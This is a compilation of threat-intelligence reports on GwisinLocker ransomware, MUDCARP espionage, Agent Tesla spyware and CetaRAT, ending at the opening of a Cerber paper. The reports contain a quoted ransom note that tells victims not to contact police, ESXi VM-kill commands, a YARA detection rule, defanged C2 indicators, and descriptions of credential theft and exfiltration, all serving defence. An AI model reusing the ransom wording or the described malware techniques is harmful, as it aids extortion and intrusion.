1. Download Tor Browser: [torproject.org/download](https://www.torproject.org/download/)
2. Go to our website: [gwisin:fa5d9dfc@gwisin4yznpdtzq424i3la6oqy5evublod4zbhddzuxcnr34kgfokwad.onion](http://gwisin:fa5d9dfc@gwisin4yznpdtzq424i3la6oqy5evublod4zbhddzuxcnr34kgfokwad.onion)
3. Login with username: mcrgnx, password: [REDACTED]
4. Change password (one-time setup)
5. Setup end-to-end message encryption password
6. Read the full instructions on the website and contact us using the message system provided there
**[WARNING - #1]**
If you are having trouble reaching our website, attempt closing and re-opening the Tor browser.
If you are still unable to reach our website, create a DNS TXT record @ mcrgnx.[REDACTED].com containing a hex-encoded email address and we will contact you.
However, eventually, we will need to communicate using our website to preserve the privacy of all parties involved.
**[WARNING - #2]**
Do NOT contact law enforcement (such as NPA, KISA, or SMPA) or threat intelligence organizations as they may prevent you from recovering quickly.
They can't really help you and they don't care if your business is destroyed in the process.
Contact us within 72 working hours, so we can negotiate in good faith and resolve this quickly.
## Campaign Markers
### Indicators of Compromise
The following are indicators of compromise (IOCs) assembled from GwisinLocker.Linux samples used in the wild.
**Filesystem**
The following hashes and strings correspond to files associated with active GwisinLocker.Linux variants and attacks.
- **SHA1 Hash (Filename)**
- (/tmp/.66486f04-bf24-4f5e-ae16-0af0fdb3d8fe) Mutex
- (!!!_HOW_TO_UNLOCK_MCRGNX_FILES_!!!.TXT) Ransom Note
- ce6036db4fee35138709f14f5cc118abf53db112 GwisinLocker Ransomware (32-bit ELF)
- e85b47fdb409d4b3f7097b946205523930e0c4ab GwisinLocker Ransomware (64-bit ELF)
**Processes**
The following processes are associated with active GwisinLocker.Linux variants.
`esxcli --formatter=csv --format-param=fields=="DisplayName,WorldID" vm process list`
`esxcli vm process kill --type=force --world-id="[ESXi] Shutting down - %s"`
### Payment
GwisinLocker.Linux victims are required to log into a portal operated by the group and establish private communications channels for completing ransom payments. As a result, little is known about the payment method used and/or cryptocurrency wallets associated with the group.
## Significance
GwisinLocker.Linux is notable for being a new ransomware variant from a heretofore little-known threat actor. The malware’s exclusive focus on prominent South Korean firms and references to South Korean law enforcement entities, as well as the use of Korean (Hangul) script in ransom notes, suggest the threat actor is familiar with both South Korean language and culture. This could suggest that the Gwisin group is a North Korea-based threat actor, given that nation’s aggressive use of offensive hacking, including the use of ransomware, to target South Korean government agencies and private sector firms.
The group’s apparent ability to compromise and maintain persistent access to victim environments prior to deploying the GwisinLocker.Linux ransomware, as well as the group’s use of double extortion attacks involving the theft of sensitive data, suggest that Gwisin possesses sophisticated offensive cyber capabilities. South Korean firms in sectors targeted by Gwisin, including heavy industry and pharmaceuticals, should be particularly alert for attacks and indicators of compromise. However, the risk posed by Gwisin likely extends to South Korean firms in other sectors as well.
## Conclusions
GwisinLocker is a significant new ransomware family that has been used in attacks on prominent South Korean industrial and pharmaceutical firms. Our analysis of a variant of GwisinLocker that targets Linux-based systems reveals a sophisticated piece of malware with features specially designed to manage Linux hosts and operate and interact with VMWare ESXI virtual machines.
Analysis and public reporting of the larger GwisinLocker campaign suggest the ransomware is in the hands of sophisticated threat actors who gain access to and control over target environments prior to the deployment of the ransomware. That includes identifying and stealing sensitive data for use in so-called “double extortion” campaigns. Details in samples of the group’s ransom notes suggest a familiarity with the Korean language as well as South Korean government and law enforcement. This has led to speculation that Gwisin may be a North Korean-linked advanced persistent threat (APT) group.
This threat should be of particular concern to industrial and pharmaceutical companies in South Korea, which account for the bulk of Gwisin’s victims to date. However, it is reasonable to assume that this threat actor may expand its campaigns to organizations in other sectors or even outside of South Korea.
Firms concerned with GwisinLocker should review the Indicators of Compromise in this report and make those available to internal or external threat hunting teams. |
# MUDCARP'S FOCUS ON SUBMARINE TECHNOLOGIES
## SUMMARY
After an extensive investigation, which revealed a widespread campaign targeting multiple universities, Accenture’s iDefense unit is publishing this report to provide threat indicators and mitigation approaches to help organizations defend themselves and ensure cyber resilience against this threat group. It’s imperative to highlight the third-party risk and supply chain threat from advanced cyber adversaries. Organizations need to understand that espionage actors will seek to exploit any organization within a target’s supply chain to fulfill its strategic collection requirements.
The authors of the technical paper titled "Deliver Uncompromised: A Strategy for Supply Chain Security and Resilience in Response to the Changing Character of War" draw attention to the issue of adversarial targeting of the DoD supply chain by stating that most nation states have a full complement of technologies and resources available to achieve their asymmetric strategies and goals as they relate to cyberespionage. They take advantage of the inherent vulnerabilities in the complex DoD supply chain ecosystem, namely a lack of oversight associated with operational security and siloed threat intelligence sharing.
As referenced in the “Accenture Cyber Threatscape Report 2018,” supply chains are integral to the DoD as the Department works to bring its technologies and weapon platforms to maturity. Threat actors have identified these supply chains as effective means of infiltrating victim organizations. Even verticals like aerospace and defense, in which companies have bought into the maintenance of mature security hygiene or in which the regulatory landscape has forced such adoption, supply chains still present openings.
## Key Findings
- Based upon tactics, techniques and procedures (TTPs) correlations, campaign targeting, leveraged malware, infrastructure and compelling third-party intelligence, iDefense analysts have moderate to high confidence that this activity is attributed to the MUDCARP (aka “TEMP.PERISCOPE” and “Leviathan”) threat group.
- As referenced in a recent Wall Street Journal article, MUDCARP collection requirements appear to include several very specific submarine technologies produced by multiple cleared defense contractors (and their respective supply chains). Any technology or program that involves the delivery or launching of a payload from a submerged submarine, or undersea autonomous vehicles, is of high interest to MUDCARP.
- It is likely that MUDCARP actors have targeted several cleared defense contractors, universities (both domestic and foreign), and oceanographic institutes.
- MUDCARP and other cyberespionage threat groups will continue to target companies, think tanks and universities who are in the DoD supply chain as a means of stealing intellectual property and exploiting those business relationships targeting DoD organizations.
## MITIGATIONS & RECOMMENDATIONS
Organizations can proactively defend against cyberespionage campaigns targeting supply chain assets by enforcing policies and procedures designed to adhere to DoD supply chain requirements and best practices. According to Defense Federal Acquisition Regulation Supplement (DFARS) clause 252.204-70126, “Safeguarding Covered Defense Information and Cyber Incident Reporting,” entities which comprise the DoD supply chain, except for contracts solely for the acquisition of commercial off-the-shelf (COTS) items, have had to become National Institute of Standards and Technology (NIST) Special Publication (SP) 800-171 compliant no later than December 31, 2017. This publication, titled “Protecting Controlled Unclassified Information in Nonfederal Systems and Organizations,” provides recommended security requirements for protecting the confidentiality of controlled unclassified information when such information is resident in nonfederal systems and organizations.
The security requirements contained in SP 800-171 are broken down into fourteen categories or “families” which include access control, configuration management, incident response, and risk assessment among many others. The publication then identifies specific controls, policies, and procedures for each category that relate to the general topic of the family. For example, under Access Control, it is a requirement that the supply chain organization authorize remote execution of privileged commands and remote access to security-relevant information. Another example, under the Incident Response family, states that tracking, documenting and reporting incidents to designated officials both internal and external to the targeted organization is necessary. iDefense recommends that the requirements outlined in this publication should be immediately implemented and enforced by any company or institution producing goods or services or conducting research on behalf of the DoD. These best practices also advertise that contractors and academic institutions educate their employees as to the breadth, depth and scope of the adversary, and the risks imposed to national security; doing so will help to try to ensure an environment of supplier security and resilience by incentivizing proper security controls and threat intelligence sharing.
Regarding the detection and remediation of MUDCARP campaigns, organizations should focus on educating staff on how to detect socially engineered emails and the repercussions of enabling macros in Office documents sent via email. In addition, security professionals should specifically enable alerts to detect tools and techniques frequently utilized by MUDCARP actors. These include the delivery of malicious Microsoft Office documents exploiting the CVE-2017-11882 vulnerability; the use of a custom backdoor written in JavaScript known as “Orz” that retrieves attacker commands from compromised websites and MUDCARP-created profiles on legitimate networking sites; and “China Chopper,” a simple Web shell designed to run on a variety of Web servers that allows an adversary to download files, access the victim system’s Active Directory, and determine passwords via a brute-force attack.
## Technical Mitigations
iDefense suggests organizations consider rapidly prioritizing Microsoft Office Suite application patching and updating due to its high popularity and constant targeting by threat groups. For example, CVE-2017-8759's patch was available on September 12, 2018, and MUDCARP was able to deliver weaponized CVE-2017-8759 RTF documents to targets 3 days later. This 72-hour time frame is typically faster than most organizations' 30-day window for patching, leaving them vulnerable to attacks by agile threat groups such as MUDCARP.
iDefense suggests organizations perform management of privileged accounts like the default Administrator account, which should be disabled and removed from systems. Threat actors like MUDCARP often target users with enhanced privileges and those users should adhere to least privilege principles by limiting their use of privileged accounts to mitigate threat actors from exploiting their elevated permissions and authorization by enforcing role-based training and security policies. As an example, some of the malicious MUDCARP samples identified above will not properly execute unless the targeted victim is the Administrator user account when opening the lure documents.
iDefense suggests organizations configure their email gateways to inspect DKIM Signatures, SPF & DMARC records to detect the absence or failure of such identifiers with incoming mail, as these authentication and identification items have not been typically observed on MUDCARP infrastructure and phishes. If these tests fail, consider appending indicators and warnings (I&Ws) in the email subject line, such as [SUSPICIOUS] or [IDENTITY-UNVERIFIED] in addition to the normal [EXTERNAL] tag for incoming email. Implementation of these I&Ws would additionally need to be followed up with enhanced phishing training for your users to understand what these warnings mean, and how it does not positively confirm a malicious email or phish but should alert them to treat the email with caution.
iDefense suggests organizations implement network segmentation, segregation and isolation for research/high-value systems in enclave networks. Threat groups like MUDCARP specifically target intellectual property and research for espionage or theft in these systems. Controlling information boundaries and security perimeters of these high-value/research systems is critical to making them defensible as part of best practices for secure network architecture. It is advisable to request researchers define the operational network requirements (if any) needed for their research & development systems. Once defined, then strictly enforce network access to only permitted and approved destinations to mitigate exposure to threat actor infrastructure, such as MUDCARP standing up brand new domains and IPs as C2s that are not necessary for researchers to connect to perform their work.
iDefense suggests organizations implement Web-proxy interception, categorization, and filtering of Internet-accessible websites. Threat actors like MUDCARP often establish new domains or sites without a visible or functional website that any visitor would find convincing or useful. Web proxies can evaluate these new domains and sites to determine functionality, popularity, newness, and reputation, which are criteria that can be used to block these sites – preventing additional malicious actions or content from being delivered to the targeted user. iDefense suggests reviewing your Web-proxy configuration settings to determine the effects of blocking “uncategorized,” “unpopular,” and “suspicious”-like categories available from your proxy.
iDefense suggests that organizations identify all the user-agents installed within their environment and enforce software baselines to make it easier for security to identify anomalous or rogue user-agents performing connections to external sites through network interception and monitoring. Threat actors like MUDCARP will sometimes utilize unique User-Agent strings to establish connections, for example: `Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENUSMSE` - which can be more easily identified during security monitoring if there is a list of known standardized User-Agents to compare against.
iDefense suggests organizations consider migrating to Windows 10 or newer OS. Threat actors like MUDCARP can utilize techniques like Reflective DLL Loading to write a DLL into memory and load a shell, like Meterpreter – which gives them backdoor access to the victim. However, Windows 10 OS now has Windows Defender Advanced Threat Protection (ATP), Exploit Guard, and Import Address Table Access Filtering (IAF) which can detect these techniques and upcoming security features that could even potentially mitigate it by requiring files to exist on disk before they can be executed in combination with application-whitelisting.
iDefense suggests that organizations implement PowerShell security features. Threat actors such as MUDCARP are known to utilize PowerShell to issue malicious commands and operate on compromised systems. To mitigate this tactic, enable PowerShell script block logging through the Windows Components -> Windows PowerShell -> "Turn on PowerShell Script Block Logging" policy value option. Furthermore, disable the PowerShell 2.0 version with the command “Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root.” In addition, if your staff do not need or use PowerShell for business operations, consider setting the execution policy to be very restrictive for all users and monitor for any suspicious use of PowerShell on systems.
iDefense suggests organizations review and test OLE/COM blocking controls in their environment to determine if they can still complete necessary business operations without Object Linking and Embedding (OLE)-embedded functionality. Threat actors like MUDCARP are likely to continue to utilize OLE as a method to insert malicious content inside various phishing documents. OLE/COM component activation can be blocked through the following registry key change: “\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Office\16.0\Common\COM Compatibility\{CLSID} DWORD ActivationFilterOverride = 1”.
iDefense suggests as a precaution that your organization configure Microsoft Office applications with secure technical implementations that may mitigate current and future MUDCARP attack techniques that target this suite of software, such as the following:
- Threat actors may attempt to force Office applications to spawn an instance of Internet Explorer that loads dangerous content, such as ActiveX. To mitigate this, enable “Restrict ActiveX Installs” in Internet Explorer, enable "Scripted Window Security Restrictions" and enable Binding of these security policies to Microsoft Office applications through the Security Settings -> IE Security “Bind to Object” so they cannot be bypassed.
- Threat actors may embed navigation to URLs or other hyperlinks within lure documents to compromise the user. To mitigate this technique, enable the block of URL navigation from Office files through the Security Settings -> IE Security "Navigate URL" option. Furthermore, consider training users to manually navigate in URLs needed for business and to be wary of such links provided by external sources.
- Threat actors may utilize exploits in certain Office documents and templates. Enable Protected View to mitigate exploits for files originating from the internet, files located in potentially unsafe locations and Outlook attachments, through the Security -> Trust Center -> Protected View options. Furthermore, enable Data Execution Prevention (DEP) through the System -> Advanced system settings -> Settings -> Data Execution Prevention -> "Turn on DEP for all programs and services except those I select" option. In addition, enable Control Flow Guard (CFG) through the Windows Defender Security Center -> App & browser control -> Exploit protection settings -> System settings -> "Control flow guard (CFG)" option.
- Threat actors may embed macros or VBA scripts in Office files to execute malicious actions. Block macros from running in Office files from the Internet through the Security -> Trust Center options. Furthermore, disable trusted access to the VBA object model through the Security -> Trust Center "Trust access to Visual Basic Project", disable “VBScript to run in Internet Explorer” and train users to be wary of all macros from external sources.
- Threat actors may establish second-stage payload and malware downloads through the initial email attachment and deceive users or bypass download warning prompts. To mitigate this, disable any file downloads requested by Office applications through the Security Settings -> IE Security "Restrict File Download" option.
- Threat actors may link external content inside Office files which can cause changes in the document without the user’s knowledge. To mitigate this, disable automatic updating of links through the Word Options -> Advanced "Update automatic links at Open".
- Threat actors may use password-protection or other rights-management features in Office files to encrypt malicious macros or scripts within the file to bypass Anti-Virus scanning. To mitigate this, enable scanning of encrypted macros through the Security -> Trust Center "Scan encrypted macros in Word Open XML documents" option.
- Threat actors may attempt to load local Web pages through Office files to bypass security controls. To mitigate this, disable local machine zone elevation through the Security Settings -> IE Security "Protection From Zone Elevation" option. Furthermore, block invoked hyperlink instances of popups from Office documents through the Security Settings -> IE Security "Block popups" option.
- Threat actors may attempt to load malicious files through external web content. To mitigate this, enable the Smart Screen Filter through the Windows Components -> Internet Explorer -> Internet Control Panel -> Security Page -> Restricted Sites Zone -> ”Turn on SmartScreen Filter scan” option.
- Threat actors may also target wordpad.exe rather than winword.exe with RTF files, so exploit protection mitigations should be enabled to mitigate against this. Enable Control Flow Guard (CFG) through the Windows Defender Security Center -> App & browser control -> Exploit protection settings -> System settings -> "Control flow guard (CFG)" option for wordpad.exe.
iDefense suggests maintaining and configuring any detonation chambers, or anti-malware sandboxes to match the current running configuration and software versions of production systems in your environment. This can be important for running and testing incoming files to your organization for the presence of malicious code that may only specifically target certain product versions with new vulnerabilities that may not correctly exploit sandboxes that diverge from production.
iDefense suggests that organizations actively hunt for attachments sent to your organization with the presence of OLE-embedded objects, Equation Editor and linked objects. An example of one of these hunting rules is provided below for reference:
```
rule CVE_2017_11882 {
meta:
description = "Exploit for CVE-2017-11882"
author = "iDefense Vulnerability Research Labs"
strings:
$rtf_header = "\\rtf" nocase
$rtf_objclass = "\\objclass" nocase
$rtf_objupdate = "\\objupdate" nocase
$rtf_objdata = "\\objdata" nocase
$equation_text = "Equation.3"
$equation_hex = "4571756174696f6e2e33"
$ole_header_hex = "d0cf11e0a1b11ae1"
$text_1 = "636d64" nocase
$text_2 = "7374617274" nocase
$text_3 = "6d73687461" nocase
$text_4 = "68747470" nocase
condition:
3 of ($rtf_*) and
2 of ($text_*) and
1 of ($equation*) and
$ole_header_hex
}
```
## MALWARE ANALYSIS & INDICATORS
The weaponized lure document “Questions about thestory.rtf” emailed to the principal oceanographer in UW's Applied Physics Laboratory is seen below. The table boxes seen on the bottom of page 3 contain the CVE-2017-11882 buffer overflow of the EQNEDT32.EXE component.
**File Name:** Questions about thestory.rtf
**MD5:** aca7037286b64b0da05c9708d647c013
**SHA1:** d84eb5b6c506d22eaf6bcb2b4f743101d010e721
**SHA256:** c0b8d15cd0f3f3c5a40ba2e9780f0dd1db526233b40a449826b6a7c92d31f8d9
**SSDEEP:** 1536:rfvBRI3b0NXC7i9NQK+bIswpPnzzXTPwsQrQNMovRTnf4 u3n:rf5RI3b0NXCuxpPfbQrS
**Size (bytes):** 88,079
The RTF document contains the following embedded OLE objects:
**Object #1**
- Object Size: 25,328
- Object Location: start offset 0000494B - end offset: 00010F2B
**Object #2**
- Object Size: 9,243
- Object Location: start offset 00010F7B - end offset: 0001580C
Object #1, which is stored as an OLE package, has the following metadata:
- Filename = '8.t'
- Size: 25,088
- MD5: A1D5B6E2FD42A90D6225DA28B6B9A70D
- Source path = 'C:\\Aaa\\tmp\\8.t'
- Temp path = 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\8.t'
Object #2 contains a shellcode that exploits CVE-2017-11882 (EQNEDIT). If the targeted user opens the weaponized document inside a vulnerable version of Microsoft Office and additionally clicks the table shown in Exhibit 1, the weaponized document tries writing “8.t” into the following folder and the shellcode within object #2 then tries performing a custom rotating XOR cipher to decode the 8.t file.
The decoded “8.t” file will have the following properties:
**File Name:** decoded “8.t**
**Machine:** 0x014C (Intel x86)
**MD5:** b7499525634a4099d2e19b330e0910d1
**SHA1:** d53cd84bdd50e27793827d462ea40bd8596417a7
**SHA256:** 2cfb465858f4264c300dbb39a7abc542e8da15678f355a994f96bfa5ab54e09
**SSDEEP:** 768:26LGcxJ2FbABuhEfvV/5R55hwc+CdlRxjF0c0wrH:7j2xG33vf9H
**Time Date Stamp:** 0x5A1BA854 (11/26/2017 9:53:24 PM)
**Size (bytes):** 25,088
The decoded malware stores its configuration setting using aPlib compression algorithm. The malware, also known as BADFLICK, communicates with the following hard-coded IP address:
- 103.243.175[.]181
This IP has been associated with the eujinonline.sytes[.]net and update.wsmcoff[.]com domains which have almost certainly been used as C2s for MUDCARP to target maritime organizations. The configuration indicates that the malware will delay communication to 103.243.175[.]181 by 5 minutes over port 80. The malware captures the computer name, IP address, memory space, and CPU details and reports it back to the C2 as compressed data using the aPLib compression library. After establishing a connection to the C2, the BADFLICK malware will accept commands to return a reverse shell or perform remote operations such as searching for files on the infected host and downloading/uploading files to or from the C2. iDefense judges that based on the lack of persistence methods of BADFLICK, it is likely used to download a third-stage backdoors or implants that will maintain persistence on the victim system for advanced operations and targeting.
---
iDefense suggests organizations perform historical searches, monitoring and blocking of the following indicators:
## Historical and Related MUDCARP Indicators
**File Hashes:**
- 3cd25b30c7f25435c17eaf4829fe1fb6
- eb136010f134009817b41bc9e51b6c5d03e51f3a
- bfc5c6817ff2cc4f3cd40f649e10cc9ae1e52139f35fdddbd32cb4d221368922
- 2dd9aab33fcdd039d3a860f2c399d1b1
- b6643ff79369bbc3aa3c62599671b5b166505432
- 305f331bfb1e97028f8c92cbcb1dff2741dcddacc76843e65f9b1ec5a66f52bc
- abb77435a85dd381036d3bfcb04aa80d
- 015b556af90959c78c988dca532592bfa733475b80b931ab1798d7d8a8d63411861cee07e31bb9a68f595f579e11d3817cfc4aca
- 3eb6f85ac046a96204096ab65bbd3e7e
- b85368d79231edf57b8f840c876b539657f2d3ae
- 146aa9a0ec013aa5bdba9ea9d29f59d48d43bc17c6a20b74bb8c521dbb5bc6f4
- ab662cee6419327de86897029a619aeb
- bf8a297b4a1fd8ee1666be74afca80a8addb145d
- 6f6ee01e9dc2d8c4c260ef4131fe88dc152e53ee8afd3e66e92d4e1bf5fd2e92
- 35f456afbe67951b3312f3b35d84ff0a
- 05e5632ca8c205457d537a6206314e17aad9c9e5
- ced7ca9625543d3d3d09f70223cc19f0d99e21792854452df5ba84b3a59d17b8
- bd9e4c82bf12c4e7a58221fc52fed705
- aa6a121f98330df2edee6c4391df21ff43a33604
- 7ba05abdf8f0323aa30c3d52e22df951eb5b67a2620014336eab7907b0a5cedf
- f8858db5b412deb29800458201912b37
- 942ef4e9d0ac0cbb356df9cf17fca19220fbed7b
- c92a26c42c5fe40bd343ee94f5022e05647876daa9b9d76a4eeb8a89b7f7103d
- aca7037286b64b0da05c9708d647c013
- d84eb5b6c506d22eaf6bcb2b4f743101d010e721
- c0b8d15cd0f3f3c5a40ba2e9780f0dd1db526233b40a449826b6a7c92d31f8d9
- e1512a0bf924c5a2b258ec24e593645a
- 5e39ea9a92662270f616860546277eaa3703ca8a
- c7fa6f27ec4f4142ae591f2dd7c63d046431945f03 c87dbed88d79f55180a46d
- e3867f6e964a29134c9ea2b63713f786
- d058567274b5d10f78eebefde62e35f6a389272f
- cdf6e2e928a89cbb857e688055a25e37a8d8b8b90530bd52c8548fb544f66f1f
- 6e843ef4856336fe3ef4ed27a4c792b1
- 1875db18a7c01ec011b1fe2394dfc49ed8a53956
- 5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362
**Domains:**
- eujinonline.sytes[.]net
- update.wsmcoff[.]com
- api.wsmcoff[.]com
- info.wsmcoff[.]com
- kc.wsmcoff[.]com
- store.wsmcoff[.]com
- wsmcoff[.]com
- thyssenkrupp-marinesystems[.]org
- chemscalere[.]com
- www.chemscalere[.]com
- webmail.chemscalere[.]com
- mail.chemscalere[.]com
- update.chemscalere[.]com
- cpanel.chemscalere[.]com
- autoconfig.chemscalere[.]com
- about.chemscalere[.]com
- news.chemscalere[.]com
- ftp.chemscalere[.]com
- db.chemscalere[.]com
- catalog.chemscalere[.]com
- autodiscover.chemscalere[.]com
- scsnewstoday.com
- mail.scsnewstoday.com
**URLs:**
- hxxp://www.thyssenkrupp-marinesystems[.]org/templater.doc
- hxxp://www.thyssenkrupp-marinesystems[.]org/templater.hta
- wsdl=ftp://185.106.120[.]206/pub/readme.txt
- wsdl=fxp://185.106.120[.]206/pub/readme.txt
**IPs:**
- 103.243.175[.]181
- 185.106.120[.]206
- 89.245.139[.]187
## CONCLUSION
At this time, iDefense is still analyzing the data sets collected by proprietary sensors and intelligence operations in order to bolster the findings included in this report. However, there have been no identified reasons to believe that this data set is incorrect.
As indicated by the 2018 Office of the Director of National Intelligence (ODNI) Worldwide Threat Assessment report, China will continue to target cleared defense contractors, IT and communications firms using its robust cyber espionage capabilities. Moreover, based upon China’s integrated and long-term military modernization plans, it could be assumed that Chinese-sponsored collection against maritime technologies that afford advantages to Western and allied naval forces will continue into the foreseeable future.
iDefense believes that DoD supply chain assets, with an emphasis on medium and small contractors, academic institutions and think tanks will continue to be prime targets for adversaries such as MUDCARP. Until requirements, such as those specified in NIST SP 800-171 and "Deliver Uncompromised: A Strategy for Supply Chain Security and Resilience in Response to the Changing Character of War," are implemented by members of the DoD supply chain and routinely audited and enforced by the United States government, foreign threat actors will continue to actively exploit these shortcomings. |
# Analysis of New Agent Tesla Spyware Variant
**By Xiaopeng Zhang | April 05, 2018**
Recently, FortiGuard Labs captured a new malware sample that was spread via Microsoft Word documents. After some quick research, I discovered that this was a new variant of the Agent Tesla spyware. I analyzed another sample of this spyware last June and published a blog about it. In this blog, I want to share what’s new in this new variant.
This malware was spread via a Microsoft Word document that contained an embedded exe file. It asks the victim to double click the blue icon to enable a “clear view.” Once clicked, it extracts an exe file from the embedded object into the system’s temporary folder and runs it. In this case, the exe file is called “POM.exe”.
## Analysis of POM.exe
In the analysis tool, we can see that the malware is written in the MS Visual Basic language. Based on my analysis, it’s a kind of installer program. When it runs, it drops two files: “filename.exe” and “filename.vbs” into the “%temp%\subfolder”. It then exits the process after executing the file “filename.vbs”.
To make it run automatically when the system starts, it adds itself (runs filename.vbs) to the system registry as a startup program. It then runs “%temp%\filename.exe”.
## Analysis of filename.exe
When “filename.exe” starts, like most other malware, it creates a suspended child process with the same name to protect itself. It then extracts a new PE file from its resource to overwrite the child process memory. Afterwards, it resumes the execution of the child process. This is when it executes the code of that new PE file, which is the main part of this malware.
Let’s go on to the analysis of the child process. It first checks to see if the environment value of "Cor_Enable_Profiling" is set to 1, and if the modules "mscorjit.dll" and "clrjit.dll" have been loaded. If one of these checks is true, it exits the process without doing anything.
If the process doesn’t exit, it loads a named resource. The resource name is "__", which is a string decrypted from a local variable. Afterwards, by calling the API functions “FindResource” and “LoadResource”, it can read the resource data to the process memory. For sure, the data is encrypted.
By decrypting the “__” data, we obtain another PE file, which is a .Net framework program. This is to be loaded into the child process memory. It reads sections of the .Net program into memory according to the PE file headers, imports APIs defined in the import table for .Net programs, relocates the offset of the function “_CorExeMain”, as well as builds the .Net framework running environment by calling several APIs. Finally, it jumps to the entry point of the .Net program where it later jumps to “_CorExeMain” – which is the entry point of all .Net programs – to execute this .Net program.
In order to further analyze the .Net program, I dumped it from the child process memory into a local file. This allowed me to launch it independently rather than running it within the child process. This also allowed me to load it into the .Net program analysis tools to analyze it.
## Deep analysis of the .Net program
The dumped file has an incorrect PE header. I manually repaired it so that it can be executed, debugged, and parsed by .Net program analysis tools. As you may have already noticed, it uses some kind of code obfuscation technique to increase the difficulty of code analysis.
All the constant strings in the .Net program are encoded and saved within a large buffer, and every string is assigned an index. Whenever it needs to use the string, it calls a function with its string index to get the string. If the string is encoded, it throws the encoded string into another function to get it decoded.
When the main function is called, it first pauses 15 seconds by calling “Thread::Sleep()” function. This allows it to potentially bypass sandbox detection.
As my analysis in the previous blog showed, Agent Tesla is a spyware. It monitors and collects the victim’s keyboard inputs, system clipboard, screenshots of the victim’s screen, as well as collects credentials of a variety of installed software. To do that, it creates many different threads and timer functions in the main function. So far, through my quick analysis, this version is similar to the older one. However, the way of submitting data to the C&C server has changed. It used to use HTTP POST to send the collected data. In this variant, it uses SMTPS to send the collected data to the attacker’s email box.
Based on my analysis, the commands used in the SMTP method include “Passwords Recovered”, “Screen Capture”, and “Keystrokes”, etc. The commands are identified within the email’s “Subject” field.
Here’s an example to show you how it sends the collected credential data to the attacker’s email address. The attacker registered a free Zoho email account for this campaign to receive victims’ credentials.
When the email is sent out through the Wireshark tool, we were able to capture the packets.
As I explained above, the collected data in the mail body is in HTML format. I copied the HTML content into a local HTML file and was able to open it in the IE browser to see what the malware had harvested from my test environment.
## Daemon program
It also drops a daemon program from the .Net program’s resource named “Player” into the “%temp%” folder and runs it to protect “filename.exe” from being killed. The daemon program’s name is made up of three random letters. It’s also a .Net program and its main purpose is very clear and simple.
You can see that the main function receives a command line argument (for this sample, it’s the full path to “filename.exe”) and saves it to a string variable called “filePath”. It creates a thread, and in the thread function, it checks to see if the file “filename.exe” is running every 900 milliseconds. It runs it again whenever the “filename.exe” is killed.
## Solution
The file “PPSATV.doc” has been detected as “W32/VBKrypt.DWSS!tr”, and “POM.exe” has been detected as “W32/VBKrypt.DWSS!tr” by FortiGuard AntiVirus service. We have informed Zoho of the email account which is being used in this AgentTesla campaign.
## IoC:
**Sample SHA256:**
- PPSATV.doc: 13E9CDE3F15E642E754AAE63259BB79ED08D1ACDA93A3244862399C44703C007
- POM.exe: A859765D990F1216F65A8319DBFE52DBA7F24731FBD2672D8D7200CC236863D7
- filename.exe: B4F81D9D74E010714CD227D3106B5E70928D495E3FD54F535B665F25EB581D3
- Random name daemon program: C2CAE82E01D954E3A50FEAEBCD3F75DE7416A851EA855D6F0E8AAAC84A507CA3 |
# CetaRAT APT Group – Targeting the Government Agencies
CetaRAT was seen for the first time in the Operation SideCopy APT. Now it is continuously expanding its activity since then. We have been tracking this RAT for a long time and observed an increase in targeting the Indian government agencies.
The CetaRAT infection chain starts with a spear phishing mail with a malicious mail attachment. The attachment can be a zip file that downloads an HTA file from a remote, compromised URL. Once this HTA file is executed using mshta.exe, it drops and executes the CetaRAT payload that starts the CnC activity.
After HTA file execution, we observed two different behaviors:
In the first method, it creates and executes the JavaScript file at the `C:\ProgramData` location. The script code opens the decoy document, which is related to government topics and notifications. At the same time, the CetaRAT executable payload is dropped at the Startup location, and the script operation can sleep for some duration and restart the machine.
The second method observed creates and runs batch files at a random name folder on the C drive on the victim’s machine, which contains the instructions to add a registry entry at `HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` with the path of the CetaRAT executable payload. In this variant, the executable is dropped at `%AppData/Roaming%` location.
The CetaRAT is a C#-based RAT family that exfiltrates data from the user and sends it to the CnC server. Once it is executed, it first checks the running AV product details from the machine with the function `Getans()` and sends details to the CnC server.
Function `Start()` uses the details from machines like computer name, OS details, IP address, memory details, running processor, etc., and uploads it to the CnC Server. This data is encrypted before uploading it to CnC.
The `GetIP()` function is used in this RAT activity to get the running machine’s IP information. Here, the domain `checkip.dydnd.org` is used for this purpose. This function returns the machine’s IP address.
In the next activity, the RAT uses commands to exfiltrate data and for file operations. Below are command details:
- **Download** - use to download data
- **Upload** - upload the data to the CnC server
- **Download .exe** - used for downloading and then executing the file
- **Created** - for creating the directory on the system
- **Rename** - used for renaming files
- **Delete** - used for deleting files or data
- **Screen** - take a screenshot of the system
- **Run** - used for running the code
- **Shellexe** - used for executing the payload
- **Process** - information of techniques
- **Pkill** - to kill the running process
- **List** - list of processes
After gathering information from the user’s machine, CetaRAT uses the RC4 algorithm to encrypt data before uploading it to the CnC server. Once the data is encrypted, it will exfiltrate to the CnC server using the POST HTTP method. We can see three CnC server IPs mentioned in the code below, with the keyword “ceta”.
## IOCs (MD5)
**HTA File:**
- 9DEF22BE73D2713600B689F3074F3841
- 849CA729063AAAD53BC743A7D476C63E
- 0BA023D0CD30E77001A78B4CBA017ADE
**CetaRAT Payload:**
- 532ACBADB8151944650AAECC0A397965
- 0058B40AEA4B981E0FC619250FC64EA3
- 04213947D30FC4205A0C4D0674A27151
**JS/Batch Payload:**
- 4B85ADE5E9790BDC63B80AD8EF853D40
- 6F0672BBD0700AC61D1EDF201C4CABFF
- 6DC67068A93E05A35E90CF066F33B79E
**Decoy Documents:**
- 5AA26DCD3CA84DB8963688BE491E8ABE
- F509CF7605566EE74DE5AABF7FEF3C61
**IPs:**
- 207.180.230.63
- 164.68.104.126
- 164.68.108.22
## Conclusion
CetaRAT is exfiltrating data that simply delivers mechanisms and aggressively infects the victim. It might leak sensitive data from a government organization, which impacts harmful activities in the countries. We recommend our customers not to access suspicious emails/attachments and keep their AV software up-to-date to protect their systems from such complex malware. |
# Nine Circles of Cerber
**Stanislav Skuratovich & Neomi Rona**
Check Point Software Technologies, Belarus & Israel
Copyright © 2017 Virus Bulletin
## Abstract
